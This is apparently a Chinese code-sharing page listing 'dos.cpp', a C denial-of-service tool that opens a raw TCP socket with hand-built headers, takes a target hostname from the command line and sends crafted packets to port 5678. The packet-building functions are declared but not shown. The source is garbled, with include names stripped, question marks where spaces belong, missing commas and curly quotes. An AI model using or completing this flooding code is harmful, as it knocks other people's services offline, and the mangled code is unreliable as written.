資源簡介
dos.cpp
代碼片段和文件信息
/********************?DOS.c?*****************/
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#define?DESTPORT?5678?
#define?LOCALPORT?8888
void?send_tcp(int?sockfdstruct?sockaddr_in?*addr);
unsigned?short?check_sum(unsigned?short?*addrint?len);
int?main(int?argcchar?**argv)
{
int?sockfd;
struct?sockaddr_in?addr;
struct?hostent?*host;
int?on=1;
if(argc!=2)
{
printf(“Usage:%s?hostname\n“argv[0]);
exit(1);
}
bzero(&addrsizeof(struct?sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1]&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr“HostName?Error:%s\n“hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct?in_addr?*)(host->h_addr_list[0]);
}
sockfd=socket(AF_INETSOCK_RAWIPPROTO_TCP);
if(sockfd<0)
{
printf(“Socket?Error:%d\n“?errno);
exit(1);
}
setsockopt(sockfdIPPROTO_IPIP_HDRINCL&onsizeof(on));
setuid(getpid());
send_tcp(sockfd&addr);
}
評論
共有 條評論